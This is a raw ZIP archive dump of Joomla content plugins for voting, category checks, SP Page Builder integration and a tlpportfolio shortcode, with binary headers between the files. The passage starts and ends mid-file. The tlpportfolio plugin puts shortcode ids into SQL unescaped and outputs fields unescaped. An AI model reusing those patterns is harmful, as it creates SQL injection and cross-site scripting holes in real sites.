	<description>PLG_VOTE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="vote">vote.php</filename>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_content_vote.ini</language>
		<language tag="en-GB">en-GB.plg_content_vote.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="position"
					type="list"
					label="PLG_VOTE_POSITION_LABEL"
					description="PLG_VOTE_POSITION_DESC"
					default="top"
					>
					<option value="top">PLG_VOTE_TOP</option>
					<option value="bottom">PLG_VOTE_BOTTOM</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK       ! `j  j    content/vote/vote.phpnu bS        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.vote
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Vote plugin.
 *
 * @since  1.5
 */
class PlgContentVote extends JPlugin
{
	/**
	 * Application object
	 *
	 * @var    JApplicationCms
	 * @since  3.7.0
	 */
	protected $app;

	/**
	 * The position the voting data is displayed in relative to the article.
	 *
	 * @var    string
	 * @since  3.7.0
	 */
	protected $votingPosition;

	/**
	 * Constructor.
	 *
	 * @param   object  &$subject  The object to observe
	 * @param   array   $config    An optional associative array of configuration settings.
	 *
	 * @since   3.7.0
	 */
	public function __construct(&$subject, $config)
	{
		parent::__construct($subject, $config);

		$this->votingPosition = $this->params->get('position', 'top');
	}

	/**
	 * Displays the voting area when viewing an article and the voting section is displayed before the article
	 *
	 * @param   string   $context  The context of the content being passed to the plugin
	 * @param   object   &$row     The article object
	 * @param   object   &$params  The article params
	 * @param   integer  $page     The 'page' number
	 *
	 * @return  string|boolean  HTML string containing code for the votes if in com_content else boolean false
	 *
	 * @since   1.6
	 */
	public function onContentBeforeDisplay($context, &$row, &$params, $page = 0)
	{
		if ($this->votingPosition !== 'top')
		{
			return '';
		}

		return $this->displayVotingData($context, $row, $params, $page);
	}

	/**
	 * Displays the voting area when viewing an article and the voting section is displayed after the article
	 *
	 * @param   string   $context  The context of the content being passed to the plugin
	 * @param   object   &$row     The article object
	 * @param   object   &$params  The article params
	 * @param   integer  $page     The 'page' number
	 *
	 * @return  string|boolean  HTML string containing code for the votes if in com_content else boolean false
	 *
	 * @since   3.7.0
	 */
	public function onContentAfterDisplay($context, &$row, &$params, $page = 0)
	{
		if ($this->votingPosition !== 'bottom')
		{
			return '';
		}

		return $this->displayVotingData($context, $row, $params, $page);
	}

	/**
	 * Displays the voting area
	 *
	 * @param   string   $context  The context of the content being passed to the plugin
	 * @param   object   &$row     The article object
	 * @param   object   &$params  The article params
	 * @param   integer  $page     The 'page' number
	 *
	 * @return  string|boolean  HTML string containing code for the votes if in com_content else boolean false
	 *
	 * @since   3.7.0
	 */
	private function displayVotingData($context, &$row, &$params, $page)
	{
		$parts = explode('.', $context);

		if ($parts[0] !== 'com_content')
		{
			return false;
		}

		if (empty($params) || !$params->get('show_vote', null))
		{
			return '';
		}

		// Load plugin language files only when needed (ex: they are not needed if show_vote is not active).
		$this->loadLanguage();

		// Get the path for the rating summary layout file
		$path = JPluginHelper::getLayoutPath('content', 'vote', 'rating');

		// Render the layout
		ob_start();
		include $path;
		$html = ob_get_clean();

		if ($this->app->input->getString('view', '') === 'article' && $row->state == 1)
		{
			// Get the path for the voting form layout file
			$path = JPluginHelper::getLayoutPath('content', 'vote', 'vote');

			// Render the layout
			ob_start();
			include $path;
			$html .= ob_get_clean();
		}

		return $html;
	}
}
PK       ! V        content/vote/index.htmlnu bS        <!DOCTYPE html><title></title>
PK       ! V        content/joomla/index.htmlnu bS        <!DOCTYPE html><title></title>
PK       ! '/"  "    content/joomla/joomla.phpnu bS        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.joomla
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Example Content Plugin
 *
 * @since  1.6
 */
class PlgContentJoomla extends JPlugin
{
	/**
	 * Example after save content method
	 * Article is passed by reference, but after the save, so no changes will be saved.
	 * Method is called right after the content is saved
	 *
	 * @param   string   $context  The context of the content passed to the plugin (added in 1.6)
	 * @param   object   $article  A JTableContent object
	 * @param   boolean  $isNew    If the content is just about to be created
	 *
	 * @return  boolean   true if function not enabled, is in frontend or is new. Else true or
	 *                    false depending on success of save function.
	 *
	 * @since   1.6
	 */
	public function onContentAfterSave($context, $article, $isNew)
	{
		// Check we are handling the frontend edit form.
		if ($context !== 'com_content.form')
		{
			return true;
		}

		// Check if this function is enabled.
		if (!$this->params->def('email_new_fe', 1))
		{
			return true;
		}

		// Check this is a new article.
		if (!$isNew)
		{
			return true;
		}

		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName('id'))
			->from($db->quoteName('#__users'))
			->where($db->quoteName('sendEmail') . ' = 1')
			->where($db->quoteName('block') . ' = 0');
		$db->setQuery($query);
		$users = (array) $db->loadColumn();

		if (empty($users))
		{
			return true;
		}

		$user = JFactory::getUser();

		// Messaging for new items
		JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_messages/models', 'MessagesModel');
		JTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_messages/tables');

		$default_language = JComponentHelper::getParams('com_languages')->get('administrator');
		$debug = JFactory::getConfig()->get('debug_lang');
		$result = true;

		foreach ($users as $user_id)
		{
			if ($user_id != $user->id)
			{
				// Load language for messaging
				$receiver = JUser::getInstance($user_id);
				$lang = JLanguage::getInstance($receiver->getParam('admin_language', $default_language), $debug);
				$lang->load('com_content');
				$message = array(
					'user_id_to' => $user_id,
					'subject' => $lang->_('COM_CONTENT_NEW_ARTICLE'),
					'message' => sprintf($lang->_('COM_CONTENT_ON_NEW_CONTENT'), $user->get('name'), $article->title)
				);
				$model_message = JModelLegacy::getInstance('Message', 'MessagesModel');
				$result = $model_message->save($message);
			}
		}

		return $result;
	}

	/**
	 * Don't allow categories to be deleted if they contain items or subcategories with items
	 *
	 * @param   string  $context  The context for the content passed to the plugin.
	 * @param   object  $data     The data relating to the content that was deleted.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	public function onContentBeforeDelete($context, $data)
	{
		// Skip plugin if we are deleting something other than categories
		if ($context !== 'com_categories.category')
		{
			return true;
		}

		// Check if this function is enabled.
		if (!$this->params->def('check_categories', 1))
		{
			return true;
		}

		$extension = JFactory::getApplication()->input->getString('extension');

		// Default to true if not a core extension
		$result = true;

		$tableInfo = array(
			'com_banners' => array('table_name' => '#__banners'),
			'com_contact' => array('table_name' => '#__contact_details'),
			'com_content' => array('table_name' => '#__content'),
			'com_newsfeeds' => array('table_name' => '#__newsfeeds'),
			'com_weblinks' => array('table_name' => '#__weblinks')
		);

		// Now check to see if this is a known core extension
		if (isset($tableInfo[$extension]))
		{
			// Get table name for known core extensions
			$table = $tableInfo[$extension]['table_name'];

			// See if this category has any content items
			$count = $this->_countItemsInCategory($table, $data->get('id'));

			// Return false if db error
			if ($count === false)
			{
				$result = false;
			}
			else
			{
				// Show error if items are found in the category
				if ($count > 0)
				{
					$msg = JText::sprintf('COM_CATEGORIES_DELETE_NOT_ALLOWED', $data->get('title'))
						. JText::plural('COM_CATEGORIES_N_ITEMS_ASSIGNED', $count);
					JError::raiseWarning(403, $msg);
					$result = false;
				}

				// Check for items in any child categories (if it is a leaf, there are no child categories)
				if (!$data->isLeaf())
				{
					$count = $this->_countItemsInChildren($table, $data->get('id'), $data);

					if ($count === false)
					{
						$result = false;
					}
					elseif ($count > 0)
					{
						$msg = JText::sprintf('COM_CATEGORIES_DELETE_NOT_ALLOWED', $data->get('title'))
							. JText::plural('COM_CATEGORIES_HAS_SUBCATEGORY_ITEMS', $count);
						JError::raiseWarning(403, $msg);
						$result = false;
					}
				}
			}

			return $result;
		}
	}

	/**
	 * Get count of items in a category
	 *
	 * @param   string   $table  table name of component table (column is catid)
	 * @param   integer  $catid  id of the category to check
	 *
	 * @return  mixed  count of items found or false if db error
	 *
	 * @since   1.6
	 */
	private function _countItemsInCategory($table, $catid)
	{
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);

		// Count the items in this category
		$query->select('COUNT(id)')
			->from($table)
			->where('catid = ' . $catid);
		$db->setQuery($query);

		try
		{
			$count = $db->loadResult();
		}
		catch (RuntimeException $e)
		{
			JError::raiseWarning(500, $e->getMessage());

			return false;
		}

		return $count;
	}

	/**
	 * Get count of items in a category's child categories
	 *
	 * @param   string   $table  table name of component table (column is catid)
	 * @param   integer  $catid  id of the category to check
	 * @param   object   $data   The data relating to the content that was deleted.
	 *
	 * @return  mixed  count of items found or false if db error
	 *
	 * @since   1.6
	 */
	private function _countItemsInChildren($table, $catid, $data)
	{
		$db = JFactory::getDbo();

		// Create subquery for list of child categories
		$childCategoryTree = $data->getTree();

		// First element in tree is the current category, so we can skip that one
		unset($childCategoryTree[0]);
		$childCategoryIds = array();

		foreach ($childCategoryTree as $node)
		{
			$childCategoryIds[] = $node->id;
		}

		// Make sure we only do the query if we have some categories to look in
		if (count($childCategoryIds))
		{
			// Count the items in this category
			$query = $db->getQuery(true)
				->select('COUNT(id)')
				->from($table)
				->where('catid IN (' . implode(',', $childCategoryIds) . ')');
			$db->setQuery($query);

			try
			{
				$count = $db->loadResult();
			}
			catch (RuntimeException $e)
			{
				JError::raiseWarning(500, $e->getMessage());

				return false;
			}

			return $count;
		}
		else
			// If we didn't have any categories to check, return 0
		{
			return 0;
		}
	}

	/**
	 * Change the state in core_content if the state in a table is changed
	 *
	 * @param   string   $context  The context for the content passed to the plugin.
	 * @param   array    $pks      A list of primary key ids of the content that has changed state.
	 * @param   integer  $value    The value of the state that the content has been changed to.
	 *
	 * @return  boolean
	 *
	 * @since   3.1
	 */
	public function onContentChangeState($context, $pks, $value)
	{
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName('core_content_id'))
			->from($db->quoteName('#__ucm_content'))
			->where($db->quoteName('core_type_alias') . ' = ' . $db->quote($context))
			->where($db->quoteName('core_content_item_id') . ' IN (' . $pksImploded = implode(',', $pks) . ')');
		$db->setQuery($query);
		$ccIds = $db->loadColumn();

		$cctable = new JTableCorecontent($db);
		$cctable->publish($ccIds, $value);

		return true;
	}

	/**
	* The save event.
	*
	* @param   string   $context  The context
	* @param   object   $table    The item
	* @param   boolean  $isNew    Is new item
	*
	* @return  void
	*
	* @since   3.9.12
	*/
	public function onContentBeforeSave($context, $table, $isNew)
	{
		// Check we are handling the frontend edit form.
		if ($context !== 'com_menus.item')
		{
			return true;
		}

		// Special case for Create article menu item
		if ($table->link !== 'index.php?option=com_content&view=form&layout=edit')
		{
			return true;
		}

		// Display error if catid is not set when enable_category is enabled
		$params = json_decode($table->params, true);

		if ($params['enable_category'] == 1 && empty($params['catid']))
		{
			$table->setError(JText::_('COM_CONTENT_CREATE_ARTICLE_ERROR'));

			return false;
		}
	}
}
PK       ! |f.  .    content/joomla/joomla.xmlnu bS        <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="content" method="upgrade">
	<name>plg_content_joomla</name>
	<author>Joomla! Project</author>
	<creationDate>November 2010</creationDate>
	<copyright>(C) 2010 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_CONTENT_JOOMLA_XML_DESCRIPTION</description>
	<files>
		<filename plugin="joomla">joomla.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_content_joomla.ini</language>
		<language tag="en-GB">en-GB.plg_content_joomla.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="check_categories"
					type="radio"
					label="PLG_CONTENT_JOOMLA_FIELD_CHECK_CATEGORIES_LABEL"
					description="PLG_CONTENT_JOOMLA_FIELD_CHECK_CATEGORIES_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field 
					name="email_new_fe"
					type="radio"
					label="PLG_CONTENT_JOOMLA_FIELD_EMAIL_NEW_FE_LABEL"
					description="PLG_CONTENT_JOOMLA_FIELD_EMAIL_NEW_FE_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
			</fieldset>
		</fields>
	</config>

</extension>
PK       ! hJB    '  content/sppagebuilder/sppagebuilder.xmlnu bS        <?xml version="1.0" encoding="utf-8"?>
<extension version="3.6" type="plugin" group="content" method="upgrade">
	<name>Content - SP Page Builder</name>
	<author>Joomla! Project</author>
	<author>JoomShaper.com</author>
    <creationDate>Sep 2016</creationDate>
    <copyright>Copyright (C) 2010 - 2016 JoomShaper. All rights reserved.</copyright>
    <license>http://www.gnu.org/licenses/gpl-2.0.html GPLv2 or later</license>
    <authorEmail>support@joomshaper.com</authorEmail>
    <authorUrl>www.joomshaper.com</authorUrl>
    <version>1.7</version>
    <description>SP Page Builder System plugin to add support for 3rd party components</description>
	<files>
		<filename plugin="sppagebuilder">sppagebuilder.php</filename>
	</files>
</extension>PK       ! LeЃ4  4  '  content/sppagebuilder/sppagebuilder.phpnu bS        <?php
/**
* @package SP Page Builder
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2019 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
*/
//no direct accees
defined ('_JEXEC') or die ('Restricted access');

$sppb_helper_path = JPATH_ADMINISTRATOR . '/components/com_sppagebuilder/helpers/sppagebuilder.php';
if (!file_exists($sppb_helper_path)) {
	return;
}
if(!class_exists('SppagebuilderHelper')) {
	require_once $sppb_helper_path;
}

if(!class_exists('SppagebuilderHelperSite'))
{
	require_once JPATH_ROOT . '/components/com_sppagebuilder/helpers/helper.php';
}

// Load language file
$language = JFactory::getLanguage();
$language->load('com_sppagebuilder', JPATH_SITE, 'en-GB', true);
$language->load('com_sppagebuilder', JPATH_SITE, null, true);

class PlgContentSppagebuilder extends JPlugin {
	protected $autoloadLanguage = true;
	protected $sppagebuilder_content = '';
	protected $sppagebuilder_active = 0;
	protected $isSppagebuilderEnabled = 0;
	
	public function __construct( &$subject, $config ) {
		$this->isSppagebuilderEnabled = $this->isSppagebuilderEnabled();
		parent::__construct($subject, $config);
	}

	// Common
	public static function __context() {
		$context = array(
			'option'=>'com_content',
			'view'=>'article',
			'id_alias'=>'id'
		);
		return $context;
	}

	public function onContentAfterSave($context, $article, $isNew) {
		if ( !$this->isSppagebuilderEnabled ) return;
		$input = JFactory::getApplication()->input;
		$option = $input->get('option', '', 'STRING');
		$view = 'article';
		$form = $input->post->get('jform', array(), 'ARRAY');
		$sppagebuilder_active = (isset($form['attribs']['sppagebuilder_active']) && $form['attribs']['sppagebuilder_active']) ? $form['attribs']['sppagebuilder_active'] : 0;
		$sppagebuilder_content = (isset($form['attribs']['sppagebuilder_content']) && $form['attribs']['sppagebuilder_content']) ? $form['attribs']['sppagebuilder_content'] : '[]';
		if(!$sppagebuilder_content) return;
		if($context == 'com_content.article') {
			$article_state = $article->state;
			if(!$sppagebuilder_active){
				$article_state = 0;
			}
			$values = array(
				'title' => $article->title,
				'text' => $sppagebuilder_content,
				'option' => $option,
				'view' => $view,
				'id' => $article->id,
				'active' => $sppagebuilder_active,
				'published' => $article_state,
				'catid'		=> $article->catid,
				'created_on' => $article->created,
				'created_by' => $article->created_by,
				'modified' => $article->modified,
				'modified_by' => $article->modified_by,
				'access' => $article->access,
				'language' => '*',
				'action' => 'apply'
			);
			if($article->state == 2){
				$values['published'] = 1;
			}

			if($sppagebuilder_active) {
				self::addFullText($article->id, $sppagebuilder_content);
			}

			SppagebuilderHelper::onAfterIntegrationSave($values);
		}
	}

	private static function addFullText($id, $data) {
		$article = new stdClass();
		$article->id = $id;
		$article->fulltext = SppagebuilderHelperSite::getPrettyText($data);
		$result = JFactory::getDbo()->updateObject('#__content', $article, 'id');
	}
	
	public function onContentPrepare($context, $article, $params, $page) {
		$input  = JFactory::getApplication()->input;
		$option = $input->get('option', '', 'STRING');
		$view   = $input->get('view', '', 'STRING');
		$task   = $input->get('task', '', 'STRING');
		if (!isset($article->id) || !(int) $article->id) {
			return true;
		}
		if ( $this->isSppagebuilderEnabled ) {
			if(($option == 'com_content') && ($view == 'article')) {
				$article->text = SppagebuilderHelper::onIntegrationPrepareContent($article->text, $option, $view, $article->id);
			}
			if(($option == 'com_j2store') && ($view == 'products') && ($task == 'view') && ($context == 'com_content.article.productlist')) {
				$article->text = SppagebuilderHelper::onIntegrationPrepareContent($article->text, 'com_content', 'article', $article->id);
			}
		}
	}

	public function onContentAfterDelete($context, $data) {
		if ( $this->isSppagebuilderEnabled ) {
			$input  = JFactory::getApplication()->input;
			$option = $input->get('option', '', 'STRING');
			$task 	= $input->get('task', '', 'STRING');
			if( $option == 'com_content' && $context == 'com_content.article') {
				$values = array(
					'option' => $option,
					'view' => 'article',
					'id' => $data->id,
					'action' => 'delete'
				);
				SppagebuilderHelper::onAfterIntegrationSave($values);
			}
		}
	}

	public function onContentAfterTitle($context, $article, $params, $limitstart){

		$input  = JFactory::getApplication()->input;
		$option = $input->get('option', '', 'STRING');
		$view   = $input->get('view', '', 'STRING');
		$task   = $input->get('task', '', 'STRING');
		if (!isset($article->id) || !(int) $article->id) {
			return true;
		}
		if ( $this->isSppagebuilderEnabled ) {
			if($option == 'com_content' && $view == 'article' && $params->get('access-edit')) {
				$sppbEditLink = $this->displaySPPBEditLink($article, $params);
				if($sppbEditLink){
					return $sppbEditLink;
				}
			}
		}

		return;
	}

	public function onContentChangeState($context, $pks, $value) {
		if ( $this->isSppagebuilderEnabled ) {
			$input  = JFactory::getApplication()->input;
			$option = $input->get('option', '', 'STRING');
			$view   = $input->get('view', '', 'STRING');
			$task   = $input->get('task', '', 'STRING');
			if( $option == 'com_content' && $context == 'com_content.article') {
				$actions = array(0,1,-2);
				if( !in_array( $value, $actions ) ) return;
				foreach( $pks as $id ) {
					$values = array(
						'option' => $option,
						'view' => 'article',
						'id' => $id,
						'published' => $value,
						'action' => 'stateChange'
					);
					SppagebuilderHelper::onAfterIntegrationSave($values);
				}
			}
		}
	}

	private function isSppagebuilderEnabled(){
		$db = JFactory::getDbo();
		$db->setQuery("SELECT enabled FROM #__extensions WHERE element = 'com_sppagebuilder' AND type = 'component'");
		return $is_enabled = $db->loadResult();
	}

	private function displaySPPBEditLink( $article, $params ){

		$user = JFactory::getUser();

		// Ignore if in a popup window.
		if ($params && $params->get('popup')) return;

		// Ignore if the state is negative (trashed).
		if ($article->state < 0) return;

		$item = SppagebuilderHelper::getPageContent('com_content','article',$article->id);

		if(!$item || !$item->id) return;

		if(property_exists($article, 'checked_out')
			&& property_exists($article, 'checked_out_time')
			&& $article->checked_out > 0
			&& $article->checked_out != $user->get('id')){
			
			return '<a href="#"><span class="fa fa-lock"></span> Checked out</a>';
		}

		$app = JApplication::getInstance('site');
		$router = $app->getRouter();

		// Get item language code
		$lang_code = (isset($item->language) && $item->language && explode('-',$item->language)[0])? explode('-',$item->language)[0] : '';
		// check language filter plugin is enable or not
		$enable_lang_filter = JPluginHelper::getPlugin('system', 'languagefilter');
		// get joomla config
		$conf = JFactory::getConfig();

		$front_link = 'index.php?option=com_sppagebuilder&view=form&tmpl=component&layout=edit&id=' . $item->id;
		$sefURI = str_replace('/administrator', '', $router->build($front_link));
		if($lang_code && $lang_code !== '*' && $enable_lang_filter && $conf->get('sef') ){
			$sefURI = str_replace('/index.php/', '/index.php/' . $lang_code . '/', $sefURI);
		} elseif($lang_code && $lang_code !== '*') {
			$sefURI = $sefURI . '&lang=' . $lang_code;
		}	

		return '<a target="_blank" href="'.$sefURI.'"><span class="fa fa-pencil-square-o"></span> Edit with SP Page Builder</a>';
	}

}PK       !               content/tlpportfolio/index.htmlnu bS        PK       ! "2'  2'  %  content/tlpportfolio/tlpportfolio.phpnu bS        <?php

/**
 * @package     Joomla.Plugin
 * @subpackage  content
 *
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;
$app = JFactory::getApplication();
$tlpportfolio_params = JComponentHelper::getParams('com_tlpportfolio');

$enable_font_awsame = $tlpportfolio_params->get('enable_font_awsame');


require_once JPATH_SITE . '/components/com_tlpportfolio/router.php';
$document = JFactory::getDocument();

$document->addStyleSheet('components/com_tlpportfolio/assets/css/tlpportfolio.css');

if($enable_font_awsame==1){
    $document->addStyleSheet('components/com_tlpportfolio/assets/css/font-awesome.min.css');
}
/**
 * Content search plugin.
 *
 * @package     Joomla.Plugin
 * @subpackage  Search.content
 * @since       1.6
 */
class PlgContentTlpportfolio extends JPlugin {


    /**
     * Load the language file on instantiation.
     *
     * @var    boolean
     * @since  3.1
     */
    protected $autoloadLanguage = true;

    public $configs = null;

    function __construct( &$subject, $params ) {
        parent::__construct( $subject, $params );
    }

    /**
     * Plugin that retrieves contact information for contact
     *
     * @param   string   $context  The context of the content being passed to the plugin.
     * @param   mixed    &$row     An object with a "text" property
     * @param   mixed    $params   Additional parameters. See {@see PlgContentContent()}.
     * @param   integer  $page     Optional page number. Unused. Defaults to zero.
     *
     * @return  boolean True on success.
     */
    public function onContentPrepare($context, &$article, &$params, $page = 0)
    {

        $allowed_contexts = array('com_content.category', 'com_content.article', 'com_content.featured', 'mod_custom.content');

        if (!in_array($context, $allowed_contexts))
        {
            return true;
        }

        // Simple performance check to determine whether bot should process further
        if (strpos($article->text, 'tlpportfolio') === false && strpos($article->text, 'tlpportfolio') === false)
        {
            return true;
        }

        JFactory::getLanguage()->getTag();
        $multilang=JLanguageMultilang::isEnabled();

        $db = JFactory::getDbo();
        $query = $db->getQuery(true);
        $document = JFactory::getDocument();
        $app = JFactory::getApplication();
        $tlpportfolio_params = JComponentHelper::getParams('com_tlpportfolio');
        $image_storiage_path = $tlpportfolio_params->get('image_path','images/tlpportfolio');
        $link_detail = $tlpportfolio_params->get('link_detail','1');
        $bootstrap_version = $tlpportfolio_params->get('bootstrap_version','1');
        $enable_font_awsame = $tlpportfolio_params->get('enable_font_awsame');
        $enable_social_share = $tlpportfolio_params->get('enable_social_share');
        $link_type = $tlpportfolio_params->get('link_type');
        $image_grid = $tlpportfolio_params->get('image_grid');
        $create_date_format = $tlpportfolio_params->get('create_date_format');

        $layout = $tlpportfolio_params->get('g_layout');
        $display_no = $tlpportfolio_params->get('g_display_no');
        $grid_type = $tlpportfolio_params->get('g_grid_type');
        $item_to_item_margin = $tlpportfolio_params->get('g_item_to_item_margin');
        $image_style = $tlpportfolio_params->get('g_image_style');
        $primary_color = $tlpportfolio_params->get('g_primary_color');
        $overlay_color = $tlpportfolio_params->get('g_overlay_color');
        $overlay_opacity = $tlpportfolio_params->get('g_overlay_opacity');
        $project_name_font_size = $tlpportfolio_params->get('g_project_name_font_size');
        $project_name_font_color = $tlpportfolio_params->get('g_project_name_font_color');
        $project_name_text_align = $tlpportfolio_params->get('g_project_name_text_align');
        $short_desc_font_size = $tlpportfolio_params->get('g_short_desc_font_size');
        $short_desc_font_color = $tlpportfolio_params->get('g_short_desc_font_color');
        $short_desc_text_align = $tlpportfolio_params->get('g_short_desc_text_align');
        $icon_font_size = $tlpportfolio_params->get('g_icon_font_size');
        $icon_font_color = $tlpportfolio_params->get('g_icon_font_color');
        //field control
        $project_name_field = $tlpportfolio_params->get('g_project_name_field');
        $short_desc_field = $tlpportfolio_params->get('g_short_desc_field');
        $tools_field = $tlpportfolio_params->get('g_tools_field');
        $category_field = $tlpportfolio_params->get('g_category_field');
        $client_field = $tlpportfolio_params->get('g_client_field');
        $project_url_field = $tlpportfolio_params->get('g_project_url_field');

        // Expression to search for(tlpportfolio id)
        $regex = '/{tlpportfolio\s*.*?}/i';
        // find all instances of mambot and put in $matches
        preg_match_all($regex, $article->text, $matches_v, PREG_SET_ORDER);
        //if we have mambot on txt replace them
        // No matches, skip this 
          foreach($matches_v as $match){
            $matches_v = $match[0];
                $matches_v = str_replace("{", "", $matches_v);
                $matches_v = str_replace("}", "", $matches_v);
                $search = explode(" ", $matches_v);

              //print_r($search);
                //Array ( [0] => team [1] => id=1 )
                foreach($search as $s_row => $s_value){
                    $final = explode("=",$s_value);
                    if(isset($final[1])){
                        $replace[$final[0]] = $final[1];
                    }
                }

                $whereQ = null;
                $memberIds = explode(',', $replace['id']);
                //print_r($memberIds);
                $i= 1; 
                foreach ($memberIds as $id) {
                    $or = ($i > 1 ? "OR " : null);
                    $whereQ .= " $or a.id = '$id' "; 
                    $i++;
                }
                //$detail_link='mmmmm';
                // Select the required fields from the table.
                $query->select( 'DISTINCT a.*,c.title AS category_title');
                $query->from('`#__tlpportfolio_portfolio` AS a');
                // Join over the category 'category'
                $query->join('LEFT', '#__categories AS c ON c.id = a.category');
                
                $query->where($whereQ);

                // Filter by language
                if ($multilang)
                {
                    $query->where('a.language in (' . $db->quote(JFactory::getLanguage()->getTag()) . ',' . $db->quote('*') . ')');
                }

                //$query = "SELECT * FROM #__tlpteam_team WHERE $whereQ";
                $db->setQuery($query);
                $items = $db->loadObjectList();
                //echo $query;
                //echo $items=count($item_total);
               // echo $limit = $this->params->def('search_limit', 50);
                 $output = null;
                 $output .='<div class="row plg-tlp-portfolio tlp-portfolio ">';
                 $output .='<div class="layout5">';
               foreach($items as $item){
                $detail_link=JRoute::_('index.php?option=com_tlpportfolio&view=portfolio&id='.(int) $item->id);
                $output .='<div class="tlp-col-lg-4 tlp-col-md4 col-md-4 span4">';
                
                $output .='<div class="tlp-portfolio-item">
                   <div class="tlp-portfolio-thum">  
                       <figure>';
                $output .='<img class="tlp-img-responsive" src="'.JURI::root().$image_storiage_path.'/m_'.$item->portfolio_image.'" alt="'. $item->title.'"/> ';            
                $output .='</figure>
                   </div>
                   <div class="tlp-overlay">
                     <div class="tlp-title">';
                       if($link_detail==1){
                $output .='<h3><a href="'.$detail_link.'">'. substr($item->title,0, 33).'</a></h3>';
                        }else{
                            $output .='<h3>'.substr($item->title,0, 33) .'</h3>';
                        }
                     $output .='</div>';

                     $output .='<div class="tlp-content">';  
                          if(($short_desc_field==1)&&($item->short_description!='')){
                    $output .='<p class="description">'. substr($item->short_description,0,150).'</p>';
                          }
                       if(($category_field==1)&&($item->category_title!='')){
                     $output .='<p class="description">'.$item->category_title.'</p>';
                          }
                          if(($tools_field==1)&&($item->tools_used!='')){
                    $output .='<p class="description">'. TlpportfolioFrontendHelper::getTools($item->tools_used).'</p>';
                           }
                    $output .='<p class="link-icon">';
                            if($link_detail==1){
                    $output .='<a href="'. $detail_link.'"><i class="fa fa-info"></i></a>';
                            }
                   if(($project_url_field==1)&&($item->project_url)){
                     $output .='<a href="'.$item->project_url.'" target="_blank"><i class="fa fa-external-link"></i></a> '; 
                             }
                     $output .='</div>';   
                   $output .='</div>
               </div>';
                $output .='</div>';
             }
                $output .='</div>';
 $output .='</div>';  


                 $matchesfull = '{'. $matches_v . '}';
                // We should replace only first occurrence in order to allow positions with the same name to regenerate their content:
                $article->text = preg_replace("|$matchesfull|", $output, $article->text, 1);
        }

        
        
    }

}
PK       ! ׻    %  content/tlpportfolio/tlpportfolio.xmlnu bS        <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="content">
    <name>Content_tlpportfolio</name>
    <author>TechLabPro</author>
    <creationDate>2015-12-07</creationDate>
    <copyright>Copyright (C) 2015. All rights reserved.</copyright>
    <license>GNU General Public License version 2 or later; see LICENSE.txt</license>
    <authorEmail>info@techlabpro.com</authorEmail>
    <authorUrl>http://www.techlabpro.com</authorUrl>
    <version>1.0.0</version>
    <description>PLG_CONTENT_TLPPORTFOLIO_XML_DESCRIPTION</description>
    <files>
        <filename plugin="tlpportfolio">tlpportfolio.php</filename>
        <filename>index.html</filename>
    </files>
    <languages folder="../../../languages/site/content/tlpportfolio">
        
		<language tag="en-GB">../../../languages/plugins/content/tlpportfolio/en-GB/en-GB.plg_content_tlpportfolio.ini</language>
	    <language tag="en-GB">../../../languages/plugins/content/tlpportfolio/en-GB/en-GB.plg_content_tlpportfolio.sys.ini</language>
    </languages>
    <config>
        <fields name="params">

            <fieldset name="basic">
               
            </fieldset>

        </fields>
    </config>
</extension>
PK       ! q  q    content/fields/fields.xmlnu bS        <?xml version="1.0" encoding="utf-8"?>
<extension version="3.7.0" type="plugin" group="content" method="upgrade">
	<name>plg_content_fields</name>
	<author>Joomla! Project</author>
	<creationDate>February 2017</creationDate>
	<copyright>(C) 2017 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_CONTENT_FIELDS_XML_DESCRIPTION</description>
	<files>
		<filename plugin="fields">fields.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_content_fields.ini</language>
		<language tag="en-GB">en-GB.plg_content_fields.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
			</fieldset>
		</fields>
	</config>
</extension>
PK       ! ig`  `    content/fields/fields.phpnu bS        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.Fields
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die();

